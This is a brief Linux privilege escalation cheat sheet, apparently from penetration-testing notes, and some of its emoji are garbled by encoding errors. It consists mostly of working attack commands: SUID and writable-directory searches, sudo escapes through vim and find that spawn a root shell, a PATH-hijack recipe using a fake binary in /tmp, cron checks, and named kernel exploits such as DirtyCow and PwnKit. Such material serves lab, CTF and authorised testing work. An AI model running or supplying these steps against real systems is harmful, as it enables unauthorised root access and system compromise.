๐ง Linux Privilege Escalation
Check for misconfigs, exploitable binaries, and writable files to escalate privileges.
โก๏ธ Environment: See 00_environment_setup
๐งช Basic Enum
uname -a
id
whoami
sudo -l
๐ File Permissions
find / -perm -u=s -type f 2>/dev/null # SUID
find / -writable -type d 2>/dev/null # Writable dirs
๐ง Sudo Abuses
No password commands:
sudo -l
sudo /usr/bin/vim โ :!sh
sudo /usr/bin/find โ find . -exec /bin/sh \; -quit
Ref: https://gtfobins.github.io
๐งท Cron Jobs
cat /etc/crontab
ls -la /etc/cron*
# Check for writable scripts run as root
๐ฆ PATH Abuse
echo '/bin/bash' > /tmp/update
chmod +x /tmp/update
export PATH=/tmp:$PATH
sudo run-as-root-script
๐ Kernel Exploits
uname -r
searchsploit linux kernel
Use dirtycow
, overlayfs
, CVE-2021-4034
(pwnkit) if kernel is vulnerable.